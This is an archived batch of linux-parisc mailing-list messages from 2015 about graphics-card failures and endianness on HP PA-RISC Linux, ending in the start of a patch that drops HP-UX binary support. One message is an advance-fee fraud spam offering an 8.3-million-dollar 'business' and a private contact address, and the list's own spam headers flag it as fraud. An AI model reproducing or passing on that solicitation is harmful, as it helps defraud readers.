>>> I'm looking for a PCI or AGP video card that would work on a Linux port for a big endian architecture (HP PA-RISC). Unfortunately the stock video options (ATI FireGL X1 and X3) give an incredibly slow unaccelerated 2D due to failure to kickstart the command processor (radeon open source driver). Neither folks from linux-parisc@ nor from dri-devel@ camps know how to fix this.
>>> 

>> 
>> The X1 and X3 are really old asics and the risc specific versions
>> tended to have special firmware for that platform that the open driver
>> does not handle properly.  You might have better luck using a more
>> modern GPU (e.g., an R5xx or newer based asic) with an x86 vbios.

If the above is not some Nouveau miss, then it looks like it's some general architecture / chipset related code issue regarding ring buffer. I wonder how network card driver works then. Opinions?
There is a chipset specific drivers porting note: https://kernel.org/doc/ols/2002/ols2002-pages-183-190.pdf Though some parts of it are about IA64.
CC to linux-parisc@

> If memory serves PA-RISC had some restrictions on PCI BAR windows, it
> wasn't just endianness problems.

The only thing I've heard regarding this was:
"The FireGL X1 / 256 AGP pro card used in the C8000 is a standard ATI part, but has a special video BIOS that reduces the PCI BAR space used by the card. The C8000 I/O space totals 256Mb, so using it all for the graphics wouldn't allow for any boot devices, etc."
But then it's all on the vendor behalf, as the driver could read space sizes via PCI info functions.

> 
> Dave.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Little endianness
Date: Sun, 15 Feb 2015 08:50:08 -0800
Lines: 69
Approved: news@gmane.org
Message-ID: <1424019008.2114.10.camel@HansenPartnership.com>
References: <loom.20150210T112204-76@post.gmane.org>
	 <BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl>
	 <1423583801.2167.17.camel@HansenPartnership.com>
	 <4CB18756-188A-47DF-9E31-10EAFE3C558D@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1424019023 3136 80.91.229.3 (15 Feb 2015 16:50:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 15 Feb 2015 16:50:23 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: lausgans@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 15 17:50:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YN2OZ-0000UM-UE
	for glpp-linux-parisc@plane.gmane.org; Sun, 15 Feb 2015 17:50:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754672AbbBOQuL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Feb 2015 11:50:11 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45989 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754635AbbBOQuK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Feb 2015 11:50:10 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 7263F8EE215;
	Sun, 15 Feb 2015 08:50:09 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 9ZCQMwJkGYBD; Sun, 15 Feb 2015 08:50:09 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 11C868EE162;
	Sun, 15 Feb 2015 08:50:09 -0800 (PST)
In-Reply-To: <4CB18756-188A-47DF-9E31-10EAFE3C558D@gmail.com>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25567>

On Sun, 2015-02-15 at 09:49 +0300, lausgans@gmail.com wrote:
> > James Bottomley <James.Bottomley@HansenPartnership.com>:
> >=20
> > On Tue, 2015-02-10 at 10:30 -0500, John David Anglin wrote:
> >> On 2015-02-10 5:31 AM, Held Bier wrote:
> >>> Hi.
> >>>=20
> >>> Looks like PA-RISC 1.1 added bi-endian support.
> >>> What about PA-RISC Linux? I know it's big endian.
> >>> But does it possible to build little endian kernel? If so, how?
> >>> Is migration to little endian planned? It should be reasonable
> >>> as it will bring more  compatibility with other Linux world.
> >=20
> > What compatibility?  x86 is LE, Arm is Schizophrenic, PPC, Sparc an=
d PA
> > are BE.  We're required to support the bus standards anyway, so the=
 SCSI
> > bus is BE and the PCI bus LE by spec.  There's no such thing as a
> > "compatible" endianness.
>=20
> Some software authors still assume that we're living in x86 only
> world, or just don't care. This leads to issues when one wish to run
> such software on a BE Linux.
>=20
> POWER is moving to LE:
> https://www.ibm.com/developerworks/community/blogs/fe313521-2e95-46f2=
-817d-44a4f27eba32/entry/just_the_faqs_about_little_endian
> "Although Power already has Linux distributions and supporting
> applications that run in big endian mode, the Linux application
> ecosystem for x86 platforms is much larger and Linux on x86 uses
> little endian mode.  Numerous clients, software partners, and IBM=E2=80=
=99s
> own software developers have told us that porting their software to
> Power becomes simpler if the Linux environment on Power supports
> little endian mode, more closely matching the environment provided by
> Linux on x86.  This new level of support will lower the barrier to
> entry for porting Linux on x86 software to Linux on Power."
>=20
> For PPC the patch was made: http://lwn.net/Articles/408845/

That's not a correct inference from the facts.  Power is interested in
playing in the embedded space and some of the graphics SoCs available
there are LE only, so they're interested in enabling a LE version to ru=
n
in that space ... it won't affect the rest of the PPC boxes.

All our boxes either have no graphics or a HP special big endian card.
The only exception is the C8000 which has an ATI with special firmware
(also designed for BE).

The thing you don't seem to understand is that the endianness is
actually fixed by the firmware of the shipping systems.  You're tied to
whatever the firmware starts you in because swapping after the firmware
init is unbelievably painful, especially when you need to call the
firmware to perform OS tasks.  We don't have any new systems planned, s=
o
all the firmware is now fixed for PA and the endianness with it.

James




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eijzenga MMEM, Esmee" <m.m.e.m.eijzenga@st.hanze.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: work with
Date: Mon, 16 Feb 2015 05:24:59 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <EE1AE3F2A6E85B4EBB73748C09C6CE6F58456E1E@HPEMB08W28.hanze.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1424064642 28274 80.91.229.3 (16 Feb 2015 05:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 05:30:42 +0000 (UTC)
To: Undisclosed recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 06:30:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNEGL-000301-8H
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 06:30:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752579AbbBPFa2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 00:30:28 -0500
Original-Received: from mx.hanze.nl ([145.33.5.182]:2448 "EHLO HPEED04W28.hanze.nl"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751018AbbBPFa1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 00:30:27 -0500
X-Greylist: delayed 324 seconds by postgrey-1.27 at vger.kernel.org; Mon, 16 Feb 2015 00:30:27 EST
Original-Received: from HPEHT02W28.hanze.nl (145.33.7.96) by HPEED04W28.hanze.nl
 (145.33.5.182) with Microsoft SMTP Server (TLS) id 14.3.181.6; Mon, 16 Feb
 2015 06:25:00 +0100
Original-Received: from HPEMB08W28.hanze.nl ([145.33.7.97]) by HPEHT02W28.hanze.nl
 ([145.33.7.96]) with mapi id 14.03.0210.002; Mon, 16 Feb 2015 06:25:00 +0100
Thread-Topic: work with
Thread-Index: AdBJqOhg4GB74hiTS2CuYhXgaG9r1g==
Accept-Language: nl-NL, en-US
Content-Language: nl-NL
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [116.203.78.72]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 5.3 points;
 *  1.8 MILLION_USD BODY: Talks about millions of dollars
 *  2.0 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419)
 *  1.4 ADVANCE_FEE_3 Appears to be advance fee fraud (Nigerian 419)
Xref: news.gmane.org gmane.linux.ports.parisc:25568 gmane.spam.detected:5260522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25568>



My name is Gatan Magsino, I work with Mediterranean Bank in Malta. Can i trust you with a business worth 8.3 million USD? Please reply ONLY to my private email: mgatan@rogers.com for more information.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?B?4oGjIOKBow==?= <lausgans@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Little endianness
Date: Mon, 16 Feb 2015 14:26:23 +0400
Lines: 118
Approved: news@gmane.org
Message-ID: <CANoehN9jw8BgsTNZgbJZpkpWPXKLwhCqbaTjj-e5w+8DJEPGWg@mail.gmail.com>
References: <loom.20150210T112204-76@post.gmane.org>
	<BLU436-SMTP173A5545802614E9A03A58A97240@phx.gbl>
	<1423583801.2167.17.camel@HansenPartnership.com>
	<4CB18756-188A-47DF-9E31-10EAFE3C558D@gmail.com>
	<1424019008.2114.10.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1424082393 8491 80.91.229.3 (16 Feb 2015 10:26:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 10:26:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 11:26:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNIsj-0007Ip-UY
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 11:26:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752130AbbBPK0Z convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 05:26:25 -0500
Original-Received: from mail-we0-f181.google.com ([74.125.82.181]:36124 "EHLO
	mail-we0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751265AbbBPK0Z convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 05:26:25 -0500
Original-Received: by mail-we0-f181.google.com with SMTP id w62so28324179wes.12
        for <linux-parisc@vger.kernel.org>; Mon, 16 Feb 2015 02:26:23 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=BDqlFW1YXuTenCVpj1pz8N2vaToKEKbhh8mc4OtUMBM=;
        b=kUEIdYzlqxqhe8bYReuMOXpW0k3BUqnrsR5Htxmwz1dNHlU+C6f5Y3coPdwOq2xIZI
         v+PsuL/zm+/+1FMLC0R+UqqFlmGamlgfYLIYleskXdUoG/mMBI8Q1cGe80dEtukRnDXG
         Wb8vpCmfKYMZsvUfdjo6Q39HupvlUQK7cKf42QwnF1MYenYAsKuca4yAzQF5Vtow5Y38
         aNG4ilFibLPJ9A2iZ7hD0i2xsEvclUaRlITtu23YKmi4AzB3x79V0OGSOjr4XxarYZUM
         w5iXOl9j1faz9I+xHUerOqYm3vbaStZCMw4C2aw3RQYjIBsxZEfI2qrgbJS6Q0Ytgf5H
         dV/A==
X-Received: by 10.180.75.132 with SMTP id c4mr37369915wiw.78.1424082383499;
 Mon, 16 Feb 2015 02:26:23 -0800 (PST)
Original-Received: by 10.217.147.8 with HTTP; Mon, 16 Feb 2015 02:26:23 -0800 (PST)
In-Reply-To: <1424019008.2114.10.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25569
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25569>

2015-02-15 19:50 GMT+00:00 James Bottomley
<James.Bottomley@hansenpartnership.com>:
> On Sun, 2015-02-15 at 09:49 +0300, lausgans@gmail.com wrote:
>> > James Bottomley <James.Bottomley@HansenPartnership.com>:
>> >
>> > On Tue, 2015-02-10 at 10:30 -0500, John David Anglin wrote:
>> >> On 2015-02-10 5:31 AM, Held Bier wrote:
>> >>> Hi.
>> >>>
>> >>> Looks like PA-RISC 1.1 added bi-endian support.
>> >>> What about PA-RISC Linux? I know it's big endian.
>> >>> But does it possible to build little endian kernel? If so, how?
>> >>> Is migration to little endian planned? It should be reasonable
>> >>> as it will bring more  compatibility with other Linux world.
>> >
>> > What compatibility?  x86 is LE, Arm is Schizophrenic, PPC, Sparc a=
nd PA
>> > are BE.  We're required to support the bus standards anyway, so th=
e SCSI
>> > bus is BE and the PCI bus LE by spec.  There's no such thing as a
>> > "compatible" endianness.
>>
>> Some software authors still assume that we're living in x86 only
>> world, or just don't care. This leads to issues when one wish to run
>> such software on a BE Linux.
>>
>> POWER is moving to LE:
>> https://www.ibm.com/developerworks/community/blogs/fe313521-2e95-46f=
2-817d-44a4f27eba32/entry/just_the_faqs_about_little_endian
>> "Although Power already has Linux distributions and supporting
>> applications that run in big endian mode, the Linux application
>> ecosystem for x86 platforms is much larger and Linux on x86 uses
>> little endian mode.  Numerous clients, software partners, and IBM=E2=
=80=99s
>> own software developers have told us that porting their software to
>> Power becomes simpler if the Linux environment on Power supports
>> little endian mode, more closely matching the environment provided b=
y
>> Linux on x86.  This new level of support will lower the barrier to
>> entry for porting Linux on x86 software to Linux on Power."
>>
>> For PPC the patch was made: http://lwn.net/Articles/408845/
>
> That's not a correct inference from the facts.  Power is interested i=
n
> playing in the embedded space and some of the graphics SoCs available
> there are LE only, so they're interested in enabling a LE version to =
run
> in that space ... it won't affect the rest of the PPC boxes.
>
> All our boxes either have no graphics or a HP special big endian card=
=2E
> The only exception is the C8000 which has an ATI with special firmwar=
e
> (also designed for BE).
>
> The thing you don't seem to understand is that the endianness is
> actually fixed by the firmware of the shipping systems.  You're tied =
to
> whatever the firmware starts you in because swapping after the firmwa=
re
> init is unbelievably painful, especially when you need to call the
> firmware to perform OS tasks.  We don't have any new systems planned,=
 so
> all the firmware is now fixed for PA and the endianness with it.
>
> James

James,

This was a general question. In case if you're connecting dots with my
later topic "Video option for a big endian machine?" - I should rather
name it "... for a non-x86 arch", as there may be more platform
specific issues, than just byte order. By the links i've provided
there are thoughts that some graphics driver / stack (as well as many
other non-related programs) may still be not fixed, e.g. they may
don't use the host byte order at the CPU side operations, and so don't
work. Of course the proper solution is to fix the actual code, but
having a LE OS option for that hardware platform should be also an
ultimate so-so solution.
Sorry for my question then, that was just a curiosity, I'm in no event
asking anyone to sacrifice their forces and time just to bring LE to
PA Linux.

> The only exception is the C8000 which has an ATI with special firmwar=
e
> (also designed for BE).

This doesn't seem to be true:
- Once I've put ATI designed for (and working in, under HP-UX) C8000
into IA64 machine with LE Linux and it worked fine;
- If HP asked ATI to produce a custom firmware, what's the purpose of
putting x86 emulator into PDC? Actually both IA64 and PA-RISC ZX1
machines can POST most of relatively modern cards with unmodified
VBIOS.

To add, Nvidia cards fail similarly to ATI with ring buffer issue (GPU
locks up). If it's not the Nouveau breakage, than some PA Linux code
(possibly DMA related) does something wrong.

> The thing you don't seem to understand is that the endianness is
> actually fixed by the firmware of the shipping systems.  You're tied =
to
> whatever the firmware starts you in because swapping after the firmwa=
re
> init is unbelievably painful, especially when you need to call the
> firmware to perform OS tasks.

I'm sure you're right, i'm not expert there. I'm wondering why IA64
(or mentioned POWER) doesn't suffer from such obstacles?
https://forums.gentoo.org/viewtopic-p-2432985.html?sid=3D890fd4a4113673=
0c64d573192c9e3b57#2432985
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Deucher <alexdeucher@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.video.dri.user
Subject: Re: Video option for a big endian machine?
Date: Mon, 16 Feb 2015 12:15:49 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <CADnq5_Pe4Rv1Yc710K8djKw0us1UO8w0OtE+aXfhXhf2xwWC+Q@mail.gmail.com>
References: <ABECBC9A-16AB-447B-BEDE-E113D1B258A9@gmail.com>
	<CADnq5_P237WcxtQgo0yrV4nsK9e95nukjNBWXAYMhibo=Co=Jw@mail.gmail.com>
	<CAPM=9txYixkb66PkYMypUsWEhEF25tieFtaGwdnj6_1fLOCZPA@mail.gmail.com>
	<5D8838EB-20BB-4162-A267-6C798F593D9D@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1424106953 6816 80.91.229.3 (16 Feb 2015 17:15:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 17:15:53 +0000 (UTC)
Cc: Dave Airlie <airlied@gmail.com>,
	Ilia Mirkin <imirkin@alum.mit.edu>,
	dri-users@lists.freedesktop.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: lausgans@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 18:15:52 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNPGw-0008Cc-Ua
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 18:15:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753109AbbBPRPu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 12:15:50 -0500
Original-Received: from mail-qa0-f47.google.com ([209.85.216.47]:47058 "EHLO
	mail-qa0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752954AbbBPRPu convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 12:15:50 -0500
Original-Received: by mail-qa0-f47.google.com with SMTP id v10so22967804qac.6
        for <linux-parisc@vger.kernel.org>; Mon, 16 Feb 2015 09:15:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        bh=rmS86yFcfr7illOBmFWvUAlA37BBkApqMCR4404/12c=;
        b=gvcKJcHH1yOLcrAFjz8ZG9IbIs3QYwfxFbcksQ/IbpJ27fwVMuCjl5Ib+Xrx1X6FG2
         ghaMoemyI1AKNCjdjeg3Kmx9Mr9c5Ic/VFJv8Ce38G3TWj6hMuZQOAwvaECHS/94MK8g
         5J6d2z8T+YFCd1EC2vxcGD4KSG6wxG7NkeFLyI2HgKfMUcHmPwKZolNXKM5UUwOmptV0
         nZfMtn0G2CdVvwxzvPy8IEDNkcMFZ960cBFUvccIpP6yNXsQbHf/MagKO4YeCJmx/hOm
         ZzBE8Ta1KrDRHeiV+0cnla/7wrgMxh7P79ITb0KyJ0BFdlAJsC4r3m+2tBtVWTQxjDPl
         nhdA==
X-Received: by 10.140.43.11 with SMTP id d11mr1999380qga.44.1424106949259;
 Mon, 16 Feb 2015 09:15:49 -0800 (PST)
Original-Received: by 10.140.41.104 with HTTP; Mon, 16 Feb 2015 09:15:49 -0800 (PST)
In-Reply-To: <5D8838EB-20BB-4162-A267-6C798F593D9D@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25570 gmane.comp.video.dri.user:6529
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25570>

On Sun, Feb 15, 2015 at 1:52 AM,  <lausgans@gmail.com> wrote:
> Thanks much for the answers, guys!
>
>> Ilia Mirkin <imirkin@alum.mit.edu>:
>>
>> With nouveau, you can generally get older cards to work
>
> Took a bunch of gf2mx and fx5500 cards I had access to. With Noveau they fail with "GPU lockup". The kernel version is 3.16.7.
> The issue chain is nouveau_fbcon_imageblit(): nouveau_fbcon_gpu_lockup() is called -> nv04_fbcon_imageblit(): while (dsize) { ... ret = RING_SPACE(chan, iter_len + 1); if (ret) return ret; /* -EBUSY at some iteration */ ... } -> nouveau_dma_wait() -> while (chan->dma.free < size) { get = READ_GET(chan, &prev_get, &cnt); if (unlikely(get == -EBUSY)) return -EBUSY; /* HERE */ ... }
>
>> Dave Airlie <airlied@gmail.com>:
>>
>> On 12 February 2015 at 00:44, Alex Deucher <alexdeucher@gmail.com> wrote:
>>> On Wed, Feb 11, 2015 at 3:53 AM,  <lausgans@gmail.com> wrote:
>>>> Hello.
>>>>
>>>> I'm looking for a PCI or AGP video card that would work on a Linux port for a big endian architecture (HP PA-RISC). Unfortunately the stock video options (ATI FireGL X1 and X3) give an incredibly slow unaccelerated 2D due to failure to kickstart the command processor (radeon open source driver). Neither folks from linux-parisc@ nor from dri-devel@ camps know how to fix this.
>>>>
>
>>>
>>> The X1 and X3 are really old asics and the risc specific versions
>>> tended to have special firmware for that platform that the open driver
>>> does not handle properly.  You might have better luck using a more
>>> modern GPU (e.g., an R5xx or newer based asic) with an x86 vbios.
>
> If the above is not some Nouveau miss, then it looks like it's some general architecture / chipset related code issue regarding ring buffer. I wonder how network card driver works then. Opinions?

NICs are generally much simpler and don't have large BAR windows for
vram access.  The driver for the on board NIC (if there is one) may
also have special handling for those specific boards.

Also note that a lot of information is stored in the vbios on the card
(number and type of connectors, encoder to connector routing, i2c bus
information, asic init sequences, clocks and voltages, etc.).  For
boards with special vbios images (like those or sun or mac boards) the
driver falls back to reasonable defaults which may not be always be a
good fit for the board.  Also, the driver only knows how to natively
post boards with x86 vbioses.  For everything else we really on the
vendor firmware to have already initialized and posted the card.

Alex

> There is a chipset specific drivers porting note: https://kernel.org/doc/ols/2002/ols2002-pages-183-190.pdf Though some parts of it are about IA64.
> CC to linux-parisc@
>
>> If memory serves PA-RISC had some restrictions on PCI BAR windows, it
>> wasn't just endianness problems.
>
> The only thing I've heard regarding this was:
> "The FireGL X1 / 256 AGP pro card used in the C8000 is a standard ATI part, but has a special video BIOS that reduces the PCI BAR space used by the card. The C8000 I/O space totals 256Mb, so using it all for the graphics wouldn't allow for any boot devices, etc."
> But then it's all on the vendor behalf, as the driver could read space sizes via PCI info functions.
>
>>
>> Dave.
>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: hpux - Drop support for HP-UX binaries
Date: Mon, 16 Feb 2015 22:17:58 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20150216211758.GA1702@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1424121496 3952 80.91.229.3 (16 Feb 2015 21:18:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 16 Feb 2015 21:18:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 16 22:18:09 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YNT3R-0000UH-6r
	for glpp-linux-parisc@plane.gmane.org; Mon, 16 Feb 2015 22:18:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751176AbbBPVSI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Feb 2015 16:18:08 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:63702 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751082AbbBPVSH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Feb 2015 16:18:07 -0500
Original-Received: from ls3530.box ([84.173.26.201]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M08ia-1Xa1h63Fi0-00uHiM; Mon, 16 Feb 2015 22:18:00
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:khPXDkjfoxRyDcdbNTgAjyFChOqsE4bAh8tPOGEi2gG5tBzoM98
 XKJQHfL57SBIF8psp6va3ZQbA40uYDtHxjx3u82wDMH8og6qlJPQP0UVpgbXpBT1TcUMzXD
 e0G/Gbcw58PNhUVi6/ljiJyEue4VJLNYlvAxjJ5ghJHFlJhhdWEIWIPD7uUkNoa+jPwoQhG
 wiG1JwrQ2tAtS+abIzsRw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25571>

This patch series drops the support for 32bit HP-UX binaries.

The HP-UX compat layer has always been incomplete and it's unlikely that
someone will ever implement it.

Furthermore those two commits which enhance the compatibility of Linux on parisc
to other architectures:
 f5a408d: parisc: Make EWOULDBLOCK be equal to EAGAIN on parisc
 1f25df2: parisc: Reduce SIGRTMIN from 37 to 32 to behave like other Linux architectures
basically make it impossible to implement the HP-UX support correctly.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 1554a6f..8014727 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -291,10 +291,6 @@ config SYSVIPC_COMPAT
 config AUDIT_ARCH
 	def_bool y
 
-config HPUX
-	bool "Support for HP-UX binaries"
-	depends on !64BIT

From - Thu Nov 08 21:37:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
